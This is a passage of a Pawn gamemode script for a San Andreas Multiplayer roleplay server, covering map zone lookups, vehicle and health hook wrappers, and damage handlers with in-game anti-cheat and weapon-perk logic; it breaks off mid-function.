	{"Rodeo",                       {422.60,-1570.20,-89.00,466.20,-1406.00,110.90}},
	{"Rodeo",                       {466.20,-1385.00,-89.00,647.50,-1235.00,110.90}},
	{"Rodeo",                       {334.50,-1406.00,-89.00,466.20,-1292.00,110.90}},
	{"Royal Casino",                {2087.30,1383.20,-89.00,2437.30,1543.20,110.90}},
	{"San Andreas Sound",           {2450.30,385.50,-100.00,2759.20,562.30,200.00}},
	{"Santa Flora",                 {-2741.00,458.40,-7.60,-2533.00,793.40,200.00}},
	{"Santa Maria Beach",           {342.60,-2173.20,-89.00,647.70,-1684.60,110.90}},
	{"Santa Maria Beach",           {72.60,-2173.20,-89.00,342.60,-1684.60,110.90}},
	{"Shady Cabin",                 {-1632.80,-2263.40,-3.00,-1601.30,-2231.70,200.00}},
	{"Shady Creeks",                {-1820.60,-2643.60,-8.00,-1226.70,-1771.60,200.00}},
	{"Shady Creeks",                {-2030.10,-2174.80,-6.10,-1820.60,-1771.60,200.00}},
	{"Sobell Rail Yards",           {2749.90,1548.90,-89.00,2923.30,1937.20,110.90}},
	{"Spinybed",                    {2121.40,2663.10,-89.00,2498.20,2861.50,110.90}},
	{"Starfish Casino",             {2437.30,1783.20,-89.00,2685.10,2012.10,110.90}},
	{"Starfish Casino",             {2437.30,1858.10,-39.00,2495.00,1970.80,60.90}},
	{"Starfish Casino",             {2162.30,1883.20,-89.00,2437.30,2012.10,110.90}},
	{"Temple",                      {1252.30,-1130.80,-89.00,1378.30,-1026.30,110.90}},
	{"Temple",                      {1252.30,-1026.30,-89.00,1391.00,-926.90,110.90}},
	{"Temple",                      {1252.30,-926.90,-89.00,1357.00,-910.10,110.90}},
	{"Temple",                      {952.60,-1130.80,-89.00,1096.40,-937.10,110.90}},
	{"Temple",                      {1096.40,-1130.80,-89.00,1252.30,-1026.30,110.90}},
	{"Temple",                      {1096.40,-1026.30,-89.00,1252.30,-910.10,110.90}},
	{"The Camel's Toe",             {2087.30,1203.20,-89.00,2640.40,1383.20,110.90}},
	{"The Clown's Pocket",          {2162.30,1783.20,-89.00,2437.30,1883.20,110.90}},
	{"The Emerald Isle",            {2011.90,2202.70,-89.00,2237.40,2508.20,110.90}},
	{"The Farm",                    {-1209.60,-1317.10,114.90,-908.10,-787.30,251.90}},
	{"The Four Dragons Casino",     {1817.30,863.20,-89.00,2027.30,1083.20,110.90}},
	{"The High Roller",             {1817.30,1283.20,-89.00,2027.30,1469.20,110.90}},
	{"The Mako Span",               {1664.60,401.70,0.00,1785.10,567.20,200.00}},
	{"The Panopticon",              {-947.90,-304.30,-1.10,-319.60,327.00,200.00}},
	{"The Pink Swan",               {1817.30,1083.20,-89.00,2027.30,1283.20,110.90}},
	{"The Sherman Dam",             {-968.70,1929.40,-3.00,-481.10,2155.20,200.00}},
	{"The Strip",                   {2027.40,863.20,-89.00,2087.30,1703.20,110.90}},
	{"The Strip",                   {2106.70,1863.20,-89.00,2162.30,2202.70,110.90}},
	{"The Strip",                   {2027.40,1783.20,-89.00,2162.30,1863.20,110.90}},
	{"The Strip",                   {2027.40,1703.20,-89.00,2137.40,1783.20,110.90}},
	{"The Visage",                  {1817.30,1863.20,-89.00,2106.70,2011.80,110.90}},
	{"The Visage",                  {1817.30,1703.20,-89.00,2027.40,1863.20,110.90}},
	{"Unity Station",               {1692.60,-1971.80,-20.40,1812.60,-1932.80,79.50}},
	{"Valle Ocultado",              {-936.60,2611.40,2.00,-715.90,2847.90,200.00}},
	{"Verdant Bluffs",              {930.20,-2488.40,-89.00,1249.60,-2006.70,110.90}},
	{"Verdant Bluffs",              {1073.20,-2006.70,-89.00,1249.60,-1842.20,110.90}},
	{"Verdant Bluffs",              {1249.60,-2179.20,-89.00,1692.60,-1842.20,110.90}},
	{"Verdant Meadows",             {37.00,2337.10,-3.00,435.90,2677.90,200.00}},
	{"Verona Beach",                {647.70,-2173.20,-89.00,930.20,-1804.20,110.90}},
	{"Verona Beach",                {930.20,-2006.70,-89.00,1073.20,-1804.20,110.90}},
	{"Verona Beach",                {851.40,-1804.20,-89.00,1046.10,-1577.50,110.90}},
	{"Verona Beach",                {1161.50,-1722.20,-89.00,1323.90,-1577.50,110.90}},
	{"Verona Beach",                {1046.10,-1722.20,-89.00,1161.50,-1577.50,110.90}},
	{"Vinewood",                    {787.40,-1310.20,-89.00,952.60,-1130.80,110.90}},
	{"Vinewood",                    {787.40,-1130.80,-89.00,952.60,-954.60,110.90}},
	{"Vinewood",                    {647.50,-1227.20,-89.00,787.40,-1118.20,110.90}},
	{"Vinewood",                    {647.70,-1416.20,-89.00,787.40,-1227.20,110.90}},
	{"Whitewood Estates",           {883.30,1726.20,-89.00,1098.30,2507.20,110.90}},
	{"Whitewood Estates",           {1098.30,1726.20,-89.00,1197.30,2243.20,110.90}},
	{"Willowfield",                 {1970.60,-2179.20,-89.00,2089.00,-1852.80,110.90}},
	{"Willowfield",                 {2089.00,-2235.80,-89.00,2201.80,-1989.90,110.90}},
	{"Willowfield",                 {2089.00,-1989.90,-89.00,2324.00,-1852.80,110.90}},
	{"Willowfield",                 {2201.80,-2095.00,-89.00,2324.00,-1989.90,110.90}},
	{"Willowfield",                 {2541.70,-1941.40,-89.00,2703.50,-1852.80,110.90}},
	{"Willowfield",                 {2324.00,-2059.20,-89.00,2541.70,-1852.80,110.90}},
	{"Willowfield",                 {2541.70,-2059.20,-89.00,2703.50,-1941.40,110.90}},
	{"Yellow Bell Station",         {1377.40,2600.40,-21.90,1492.40,2687.30,78.00}},
	{"Bone County",                 {-480.50,596.30,-242.90,869.40,2993.80,900.00}},
	{"Tierra Robada",               {-2997.40,1659.60,-242.90,-480.50,2993.80,900.00}},
	{"Tierra Robada",               {-1213.90,596.30,-242.90,-480.50,1659.60,900.00}},
	{"Red County",                  {-1213.90,-768.00,-242.90,2997.00,596.30,900.00}},
	{"Flint County",                {-1213.90,-2892.90,-242.90,44.60,-768.00,900.00}},
	{"Whetstone",                   {-2997.40,-2892.90,-242.90,-1213.90,-1115.50,900.00}}
};
// Stock e max ip connecting by SiNaGaMeR
stock GetNumberOfPlayersOnThisIP(test_ip[])
{
	new against_ip[32+1];
	new x = 0;
	new ip_count = 0;
	for(x=0; x<MAX_PLAYERS; x++) {
		if(IsPlayerConnected(x)) {
			GetPlayerIp(x,against_ip,32);
			if(!strcmp(against_ip,test_ip)) ip_count++;
		}
	}
	return ip_count;
}
// End :|

stock GetPlayer3DZone(playerid, zone[], len)
{
	new Float:x, Float:y, Float:z;
	GetPlayerPos(playerid, x, y, z);
	for(new i = 0; i != sizeof(gSAZones); i++ )
	{
	   if(x >= gSAZones[i][SAZONE_AREA][0] && x <= gSAZones[i][SAZONE_AREA][3] && y >= gSAZones[i][SAZONE_AREA][1] && y <= gSAZones[i][SAZONE_AREA][4])
	   {
		  return format(zone, len, gSAZones[i][SAZONE_NAME], 0);
	   }
	}
	return 0;
}

stock GetPlayerZoneName(playerid, zone[], len = sizeof(zone))
{
	new Float:x, Float:y, Float:z;
	GetPlayerPos(playerid, x, y, z);
	if(Mahal[playerid] == 1) return format(zone, len, "Paintball (LS)");
	if(Mahal[playerid] == 2) return format(zone, len, "Jail (LS)");
	if(Mahal[playerid] == 3 && PINFO[playerid][pSex] == 1) return format(zone, len, "In his home");
	if(Mahal[playerid] == 3 && PINFO[playerid][pSex] != 1) return format(zone, len, "In her home");
	if(Mahal[playerid] == 4) return format(zone, len, "CityHall (LS)");
	if(Mahal[playerid] == 5) return format(zone, len, "LSPD (LS)");
	if(Mahal[playerid] == 6) return format(zone, len, "FBI HQ (LV)");
	if(Mahal[playerid] == 70) return format(zone, len, "Paramedic HQ (LV)");
	if(Mahal[playerid] == 7) return format(zone, len, "The Silene Mafia HQ (LS)");
	if(Mahal[playerid] == 8) return format(zone, len, "Fast N Furious HQ  (LV)");
	if(Mahal[playerid] == 9) return format(zone, len, "The Killers Family HQ (LV)");
	if(Mahal[playerid] == 10) return format(zone, len, "Hitman Agency HQ (LS)");
	if(Mahal[playerid] == 11) return format(zone, len, "Storm Men Family HQ (LS)");
	if(Mahal[playerid] == 12) return format(zone, len, "Dangerous Tiger Family HQ (LS)");
	if(Mahal[playerid] == 13) return format(zone, len, "Legendary Men Family HQ (LS)");
	if(Mahal[playerid] == 14) return format(zone, len, "Taxi HQ (LV)");
	if(Mahal[playerid] == 15) return format(zone, len, "In a business");
	if(Mahal[playerid] == 1685) return format(zone, len, "Unknowns HQ (LS)");
	//if(Mahal[playerid] == 9524) return format(zone, len, "SFPD Clan HQ (LS)");
	for(new i = 0; i != sizeof(gSAZones); i++ )
	{
	   if(x >= gSAZones[i][SAZONE_AREA][0] && x <= gSAZones[i][SAZONE_AREA][3] && y >= gSAZones[i][SAZONE_AREA][1] && y <= gSAZones[i][SAZONE_AREA][4] && z >= gSAZones[i][SAZONE_AREA][2] && z <= gSAZones[i][SAZONE_AREA][5])
	   {
		  new string[256];
		  if(IsPlayerInArea(playerid, -1078.125, 3058.59375, -3058.59375, 433.59375))
		  {
			 format(string, 256, "%s (LS)",gSAZones[i][SAZONE_NAME]);
		  }
		  if(IsPlayerInArea(playerid, -1078.125, 3210.9375, 445.3125, 3000))
		  {
			 format(string, 256, "%s (LV)",gSAZones[i][SAZONE_NAME]);
		  }
		  if(IsPlayerInArea(playerid, -3000, -1089.84375, -2988.28125, 2964.84375))
		  {
			 format(string, 256, "%s (SF)",gSAZones[i][SAZONE_NAME]);
		  }
		  return format(zone, len, string);
	   }
	}
	return 0;
}
/*--------------------------------Vehicle Sys---------------------------------*/
	static
	   bool:VehicleByServer[MAX_VEHICLES],
	   VehColor[MAX_VEHICLES],
	   VehColor2[MAX_VEHICLES],
	   VehInt[MAX_VEHICLES];

stock Ali_ChangeVehicleColor(vehid, col1, col2)
{
	VehColor[vehid] = col1;
	VehColor2[vehid] = col2;

	for(new i = 0; i < Akharish; i++)
	{
	if(IsPlayerConnected(i))
	{
	if(IsPlayerInAnyVehicle(i) && vehid == GetPlayerVehicleID(i)) {
	//PlayerTextDrawHide(i, CarTD);
	//PlayerTextDrawSetPreviewVehCol(i, CarTD, col1, col2);
	//PlayerTextDrawShow(i, CarTD);
	}
	}
	}
	return ChangeVehicleColor(vehid, col1, col2);
}

stock GetVehicleColor(vehid, &col1, &col2)
{
	col1 = VehColor[vehid];
	col2 = VehColor2[vehid];
}

//==============================================================================
AG_RepairVehicle(vehicleid)
{
	for(new i=GetPlayerPoolSize();i!=-1;--i)
	{
		if(GetPlayerVehicleID(i)==vehicleid)p_DamageSpamCount{i} = 0;
	}
	return RepairVehicle(vehicleid);
}
#if defined _ALS_RepairVehicle
	#undef RepairVehicle
#else
	#define _ALS_RepairVehicle
#endif

#define RepairVehicle AG_RepairVehicle
//==============================================================================
AG_SetPlayerHealth(playerid, Float:health)
{
	HEALTH[playerid]=health;
	if(HPShow[playerid])
	{
		healupd(playerid);
	}
	return SetPlayerHealth(playerid, health);
}
#if defined _ALS_SetPlayerHealth
	#undef SetPlayerHealth
#else
	#define _ALS_SetPlayerHealth
#endif
#define SetPlayerHealth AG_SetPlayerHealth
AG_SetPlayerSkin(playerid, skinid)// by Sina
{
	new
	    Float:tmpPos[4],
		vehicleid = GetPlayerVehicleID(playerid),
		seatid = GetPlayerVehicleSeat(playerid);
	GetPlayerPos(playerid, tmpPos[0], tmpPos[1], tmpPos[2]);
	GetPlayerFacingAngle(playerid, tmpPos[3]);
	if(skinid < 0 || skinid > 311) return 0;
	OnPlayerSkinChanged(playerid, GetPlayerSkin(playerid), skinid);
	if(GetPlayerSpecialAction(playerid) == SPECIAL_ACTION_DUCK)
	{
	    SetPlayerPos(playerid, tmpPos[0], tmpPos[1], tmpPos[2]);
		SetPlayerFacingAngle(playerid, tmpPos[3]);
		TogglePlayerControllable(playerid, 1);// Freeze nemishe dige =D
		return SetPlayerSkin(playerid, skinid);
	}
	else if(IsPlayerInAnyVehicle(playerid))
	{
	    new
	        tmp;
	    RemovePlayerFromVehicle(playerid);
	    SetPlayerPos(playerid, tmpPos[0], tmpPos[1], tmpPos[2]);
		SetPlayerFacingAngle(playerid, tmpPos[3]);
		TogglePlayerControllable(playerid, 1);// Freeze nemishe + dige mese gav too mashin neshoon nemdie vaysade
		tmp = SetPlayerSkin(playerid, skinid);
		PutPlayerInVehicle(playerid, vehicleid, (seatid == 128) ? 0 : seatid);
		return tmp;
	}
	else
	{
	    return SetPlayerSkin(playerid, skinid);// Be soorate aadi set skin mishe
	}
}
#if defined _ALS_SetPlayerSkin
	#undef SetPlayerSkin
#else
	#define _ALS_SetPlayerSkin
#endif
#define SetPlayerSkin AG_SetPlayerSkin

AG_TogglePlayerControllable(playerid, toggle)
{
if(toggle==0){MyState[playerid]=0;}
if(toggle==1){MyState[playerid]=1;}
return TogglePlayerControllable(playerid, toggle);
}
#if defined _ALS_TogglePlayerControllable
	#undef TogglePlayerControllable
#else
	#define _ALS_TogglePlayerControllable
#endif
#define TogglePlayerControllable AG_TogglePlayerControllable
//==============================================================================

stock Ali_AddStaticVehicle(modelID, Float: spawn_X, Float: spawn_Y, Float: spawn_Z, Float: z_Angle, color1, color2)
{
	   new col1 = color1;
	   if(color1 < 0)
	   {
		  col1 = random(127);
	   }
	   new col2 = color2;
	   if(color2 < 0)
	   {
		  col2 = random(127);
	   }
	   new vehicleid = AddStaticVehicle(modelID, spawn_X, spawn_Y, spawn_Z, z_Angle, col1, col2);
	   VehicleByServer[vehicleid] = true;
	   VehColor[vehicleid] = col1;
	   VehColor2[vehicleid] = col2;
	   VehInt[vehicleid] = 0;
	   OnVehicleSpawn(vehicleid);
	   return vehicleid;
}

stock Ali_LinkVehicleToInterior(vehid, inter)
{
	VehInt[vehid] = inter;
	return LinkVehicleToInterior(vehid, inter);
}

stock GetVehicleInterior(vehicleid) return VehInt[vehicleid];

stock Ali_AddStaticVehicleEx(modelID, Float: spawn_X, Float: spawn_Y, Float: spawn_Z, Float: z_Angle, color1, color2, respawn_Time)//Will ignore respawn_Time
{
	   #pragma unused respawn_Time
	   new col1 = color1;
	   if(color1 < 0)
	   {
		  col1 = random(127);
	   }
	   new col2 = color2;
	   if(color2 < 0)
	   {
		  col2 = random(127);
	   }
	   new vehicleid;
	   vehicleid = AddStaticVehicleEx(modelID, spawn_X, spawn_Y, spawn_Z, z_Angle, color1, color2, 1200);
	   VehicleByServer[vehicleid] = true;
	   VehColor[vehicleid] = col1;
	   VehColor2[vehicleid] = col2;
	   VehInt[vehicleid] = 0;
	   OnVehicleSpawn(vehicleid);
	   return vehicleid;
}

stock Ali_CreateVehicle(modelID, Float: spawn_X, Float: spawn_Y, Float: spawn_Z, Float: z_Angle, color1, color2, respawn_Time, bool:modelchanged = false)
{
	   new col1 = color1;
	   if(color1 < 0)
	   {
		  col1 = random(127);
	   }
	   new col2 = color2;
	   if(color2 < 0)
	   {
		  col2 = random(127);
	   }
	   new vehicleid;
	   vehicleid = CreateVehicle(modelID, spawn_X, spawn_Y, spawn_Z, z_Angle, color1, color2, respawn_Time);
	   VehicleByServer[vehicleid] = true;
	   VehColor[vehicleid] = col1;
	   VehColor2[vehicleid] = col2;
	   VehInt[vehicleid] = 0;
	   if(modelchanged == false)
	   {
		  OnVehicleSpawn(vehicleid);
	   }
	   return vehicleid;
}

stock Ali_DestroyVehicle(vehicleid, bool:OwnedMashinD = false)
{
	if(OwnedMashinD == true)
	{
	   if(OwnedMashin[vehicleid] != 0 || OwnedMashin_2[vehicleid] != 0)
	   {
		  VehicleByServer[vehicleid] = false;
		  VehColor[vehicleid] = 0;
		  VehColor2[vehicleid] = 0;
		  VehInt[vehicleid] = 0;
		  return DestroyVehicle(vehicleid);
	   }
	}
	if(OwnedMashinD == false && OwnedMashin[vehicleid] != 1 && OwnedMashin_2[vehicleid] != 1)
	{
	   VehicleByServer[vehicleid] = false;
	   VehColor[vehicleid] = 0;
	   VehColor2[vehicleid] = 0;
	   VehInt[vehicleid] = 0;
	   return DestroyVehicle(vehicleid);
	}
	return 0;
}

stock IsVehicleConnected(vehicleid)
{
	if(VehicleByServer[vehicleid] == true) return 1;
	return 0;
}

#if defined _ALS_ChangeVehicleColor
	#undef ChangeVehicleColor
#else
	#define _ALS_ChangeVehicleColor
#endif
#define ChangeVehicleColor Ali_ChangeVehicleColor

#if defined _ALS_LinkVehicleToInterior
	#undef LinkVehicleToInterior
#else
	#define _ALS_LinkVehicleToInterior
#endif
#define LinkVehicleToInterior Ali_LinkVehicleToInterior

#if defined _ALS_AddStaticVehicle
	#undef AddStaticVehicle
#else
	#define _ALS_AddStaticVehicle
#endif
#define AddStaticVehicle Ali_AddStaticVehicle

#if defined _ALS_AddStaticVehicleEx
	#undef AddStaticVehicleEx
#else
	#define _ALS_AddStaticVehicleEx
#endif
#define AddStaticVehicleEx Ali_AddStaticVehicleEx

#if defined _ALS_CreateVehicle
	#undef CreateVehicle
#else
	#define _ALS_CreateVehicle
#endif
#define CreateVehicle Ali_CreateVehicle

#if defined _ALS_DestroyVehicle
	#undef DestroyVehicle
#else
	#define _ALS_DestroyVehicle
#endif
#define DestroyVehicle Ali_DestroyVehicle

stock Ali_SetPlayerWantedLevel(playerid, level)
{
	if(GetPlayerWantedLevel(playerid) >= 1 && level <= 0 && WantedKamKonTimerValid[playerid] == true) WantedTimerEZ[playerid] = 0; //PlayerTextDrawHide(playerid, WantedTTD[playerid]);
	if(GetPlayerWantedLevel(playerid) <= 0 && level >= 1 && WantedKamKonTimerValid[playerid] == false) WantedTimerEZ[playerid] = 900; //PlayerTextDrawShow(playerid, WantedTTD[playerid]);
	if(level <= -1) {level = 0;}
	PINFO[playerid][pWanted] = level;
	SaveKonVal(playerid, "pWanted", level);
	WantedPoints[playerid] = level;
	WantedLevel[playerid] = level;
	//SaveAccount(playerid);
	return SetPlayerWantedLevel(playerid, level);
}

stock Ali_GetPlayerWantedLevel(playerid)
{
	return PINFO[playerid][pWanted];
}

#if defined _ALS_SetPlayerWantedLevel
	#undef SetPlayerWantedLevel
#else
	#define _ALS_SetPlayerWantedLevel
#endif
#define SetPlayerWantedLevel Ali_SetPlayerWantedLevel

#if defined _ALS_GetPlayerWantedLevel
	#undef GetPlayerWantedLevel
#else
	#define _ALS_GetPlayerWantedLevel
#endif
#define GetPlayerWantedLevel Ali_GetPlayerWantedLevel
/*-------------------------------SpeedLimit-----------------------------------*/
forward SetVehicleSpeedLimit( vehicleid, Float:value );
forward DisableVehicleSpeedLimit( vehicleid );

static
	Float:VehicleSpeedLimit[ MAX_VEHICLES ] = { 0.0, ... }
;

public SetVehicleSpeedLimit( vehicleid, Float:value )
{
	if ( 0 <= vehicleid < sizeof( VehicleSpeedLimit ) )
	   VehicleSpeedLimit[ vehicleid ] = value/1;
}

public DisableVehicleSpeedLimit( vehicleid )
{
	if ( 0 <= vehicleid < sizeof( VehicleSpeedLimit ) )
	   VehicleSpeedLimit[ vehicleid ] = 0.0;
}
/*--------------------------------ANIMATION-----------------------------------*/
LoopingAnim(playerid, animlib[], animname[], Float:Speed, looping, lockx, locky, freeze, time, forcesync = 1)
{
	#pragma unused forcesync
	if(PlayerHandsCuffed[playerid]==1){}else{
	ApplyAnimation(playerid, animlib, animname, Speed, looping, lockx, locky, freeze, time, 1);}
}
StopLoopingAnim(playerid)
{
	SetPlayerSpecialAction(playerid, SPECIAL_ACTION_NONE);
	LoopingAnim(playerid, "CARRY", "crry_prtial", 2.0, 0, 0, 0, 0, 0);
}
PreloadAnimLib(playerid, animlib[])
{
	ApplyAnimation(playerid,animlib,"null",0.0,0,0,0,0,0);
}
/*----------------------------------------------------------------------------*/
main()
{
	printf("<------------------------------------------------------> \n ** %s %s v%s is loading... ** \n<------------------------------------------------------>",SERVER_NAME1, SERVER_NAME2, SV_VER);// Akharin Pm e Moghe Run Shodane Server Ke Dar Console Namayesh Dade Mishe.
}
/*-----------------------------PUBLIC AND OTHERS ...--------------------------*/
public OnPlayerWeaponShot(playerid, weaponid, hittype, hitid, Float:fX, Float:fY, Float:fZ)
{
if(FCNPC_IsValid(playerid)) return 1;
   if ((fX > 2140000000) || (fY > 2140000000) || (fZ > 2140000000))
   {
		if(anticheat[playerid] != 0)
		{
	  new ahmadzoghi[128];
	  format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Player %s(%i) is shooting with bad weapon (Prevented)",RPName(playerid), playerid);
      AdminWarn(ahmadzoghi);
      }
      return 0; // Desync the shot.
   }
	   if(GunFire[playerid])
	   {
		  if(IsWeaponGun(weaponid)&&weaponid!=38)
		  {
			new Float:dummy_float,Float:fHitPosX,Float:fHitPosY,Float:fHitPosZ;
			GetPlayerLastShotVectors(playerid,dummy_float,dummy_float,dummy_float,fHitPosX,fHitPosY,fHitPosZ);
			CreateExplosion(fHitPosX,fHitPosY,fHitPosZ,12,5.0);
		  }
	   }
	   switch(weaponid){ case 0..18, 39..54: return 1;}//invalid weapons
		if(ACKolang[playerid][weaponid] != true &&  (weaponid > 20 || weaponid < 18) && gPlayerLogged[playerid] == 1 && TofAll[playerid] == 1 && Cheating[playerid] == 0) {
		new string[128],WeapName[128];
		format(string, sizeof(string), "{ffffff}Player %s(%i) is using weapon hack (Weap: %d)",PINFO[playerid][pName], playerid, weaponid);
		AdminWarn(string);
		GetWeaponName(weaponid, WeapName, 128);
		Cheating[playerid] = 1;
		new reas[60];
		format(reas, sizeof(reas), "Weapon Hack (%s)",WeapName);
		if(PINFO[playerid][pAdmin] == 0) return BanPlayer(playerid, PINFO[playerid][pName], 0, reas, 1, 1);
		}
	   if(hittype == BULLET_HIT_TYPE_PLAYER && IsPlayerConnected(hitid) && !FCNPC_IsValid(hitid))
	   {
			 new Float:Shot[3], Float:Hit[3];
			 GetPlayerLastShotVectors(playerid, Shot[0], Shot[1], Shot[2], Hit[0], Hit[1], Hit[2]);

			 new playersurf = GetPlayerSurfingVehicleID(playerid);
			 new hitsurf = GetPlayerSurfingVehicleID(hitid);
//			 new Float:targetpackets = NetStats_PacketLossPercent(hitid);
//			 new Float:playerpackets = NetStats_PacketLossPercent(playerid);

			 if(~(playersurf) && ~(hitsurf) && !IsPlayerInAnyVehicle(playerid) && !IsPlayerInAnyVehicle(hitid))
			 {
					if(!IsPlayerAimingAtPlayer(playerid, hitid) && !IsPlayerInRangeOfPoint(hitid, 5.0, Hit[0], Hit[1], Hit[2]))
					{
						  AimbotWarnings[playerid] ++;

						/*  new string[128];
								new name[MAX_PLAYER_NAME];
								GetPlayerName(playerid, name, sizeof(name));
								//format(string,sizeof(string),"[Anti-Cheat]: Server detected an AimBot on %s(%d)",name,playerid);
								//SendAdminMessage(COLOR_GG, string);*/
						  return 0;
					}
					else return 1;
			 }
			 else return 1;
	   }
	   return 1;
}
stock GetBodyPartName(bodypart)
{
new bptxt[11];
if(bodypart==3){bptxt="Torso";}
if(bodypart==4){bptxt="Groin";}
if(bodypart==5){bptxt="Left arm";}
if(bodypart==6){bptxt="Right arm";}
if(bodypart==7){bptxt="Left leg";}
if(bodypart==8){bptxt="Right leg";}
if(bodypart==9){bptxt="Head";}
return bptxt;
}
/*----------------------------------------------------------------------------*/
public OnPlayerTakeDamage(playerid, issuerid, Float:amount, weaponid, bodypart)
{
if(FCNPC_IsValid(playerid)) return 1;
if((weaponid>=22&&weaponid<=33)&&(bodypart==9)&&(issuerid!=INVALID_PLAYER_ID)){HeadCounter[playerid]++;}
if(BossArea!=-1&&IsPlayerInDynamicArea(playerid, BossArea))
{
if(issuerid!=INVALID_PLAYER_ID&&!FCNPC_IsValid(issuerid)){
SCM(issuerid,COLOR_SINAGHERMEZ,"Try to don't give damage to other players that they're killing the boss.");
new Float:Hlt;
GetPlayerHealth(playerid, Hlt);
SetPlayerKoon(true, playerid, Hlt+GetDamageFromWeaponID(weaponid));
}
}
	HEALTH[playerid]-=amount;
	healupd(playerid);
if(myBG[playerid]!=INVALID_PLAYER_ID&&issuerid!=INVALID_PLAYER_ID&&weaponid!=0&&OnPaintBall[playerid]==0){
if(!IsAtjail(myBG[playerid])&&issuerid!=myBG[playerid]){
new frmt[144];
format(frmt, sizeof(frmt), "%s(%d) shoot at %s(%d)'s %s with a(n) %s", RPName(issuerid), issuerid, RPName(playerid), playerid, GetBodyPartName(bodypart), GunNameEx[GetPlayerWeapon(issuerid)]);
SCM(myBG[playerid], COLOR_SINAGHERMEZ, frmt);
}}
// HeadShot Okeye ... By SiNaGaMeR
if(HeadShot == 1)// HS one?
{
if(GodmodeFeature[playerid] == false)// Gm e yaru disable e?
{
if(ProxDetectorS(15,issuerid,playerid))// 15M beyneshun fasele has?
{// Are
if(OnPaintBall[playerid] == 0)
{
   if(issuerid != INVALID_PLAYER_ID && (bodypart == 9))// Hame tofanga by Sina
	{
	new Float:Health;
	new Float:Armour;
	GetPlayerHealth(playerid, Health);
	GetPlayerArmour(playerid, Armour);
	if(Health >= 0.1 && Armour == 0)// Armour dashte bashe HeadShot nemishe vaymise ta armour esh tamum she bad HeadShot mishe
	{
	SetPlayerKoon(true, playerid, Health-50);
	}
}
}
}
}
}

    if ((weaponid == WEAPON_KNIFE) && (bodypart == 9))
    {
       SetPlayerKoon(false, playerid, 0.0);
    }

	if(weaponid >= 47 || weaponid == 51 || weaponid == 37)
	{
	   new Float:HA;
	   GetPlayerHealth(playerid, HA);
	   SetPlayerKoon(false, playerid, HA-amount);
	}
	if(GodmodeFeature[playerid] == true) {
	SetPlayerKoon(true, playerid, 100000);
	}
	return 1;
}
/*----------------------------------------------------------------------------*/
public OnPlayerGiveDamage(playerid, damagedid, Float:amount, weaponid, bodypart)
{
if(FCNPC_IsValid(playerid)) return 1;
	if(amount > 50 || bodypart == 0 || bodypart == 1 || bodypart == 2) {
	//BanPlayer(playerid);
	//new string[512];
	//format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a killer cheat on %s(%d). (defenced)",PINFO[playerid][pName],playerid);
	//print(string);

	return 0;
	}
	if(AFK[damagedid] == 1) return 0;
	new Float:pArmour;
	GetPlayerArmour(damagedid, pArmour);
if(IsPlayerInDynamicArea(damagedid, BetShopArea)&&BetShopLock!=1){new Float:Healthh;GetPlayerHealth(damagedid, Healthh);SetPlayerKoon(true, damagedid, Healthh+GetDamageFromWeaponID(weaponid));SCM(playerid, COLOR_LIGHTRED, "You couldn't give damage to players in betshop.");}
new xJsMk[144];
if(damagedid!=Boss)
{
if(MightyM4[playerid]&&weaponid==31&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-20);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Mighty M4.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(MightyDeagle[playerid]&&weaponid==24&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-40);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Mighty Deagle.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(MightyMP5[playerid]&&weaponid==29&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-20);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Mighty MP5.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(DeadlyM4[playerid]&&weaponid==31&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-40);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Deadly M4.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(DeadlyDeagle[playerid]&&weaponid==24&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
SetPlayerKoon(true, damagedid, 0);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Deadly Deagle.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(DeadlyMP5[playerid]&&weaponid==29&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-40);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Deadly MP5.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
if(ExtraDamage1[playerid]&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
if(!DeadlyDeagle[playerid])
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-15);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage I.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{
if(weaponid!=24)
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-15);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage I.", RPName(playerid));
SCM(damagedid, COLOR_SINAGHERMEZ, xJsMk);
}
else
{

}
}
}
if(ExtraDamage2[playerid]&&bodypart!=9&&!GodmodeFeature[damagedid]&&pArmour<5)
{
if(!DeadlyDeagle[playerid])
{
new Float:HealthX;
GetPlayerHealth(damagedid, HealthX);
SetPlayerKoon(true, damagedid, HealthX-35);
format(xJsMk, sizeof(xJsMk), "You got damaged by %s with Extra Damage II.", RPName(playerid));
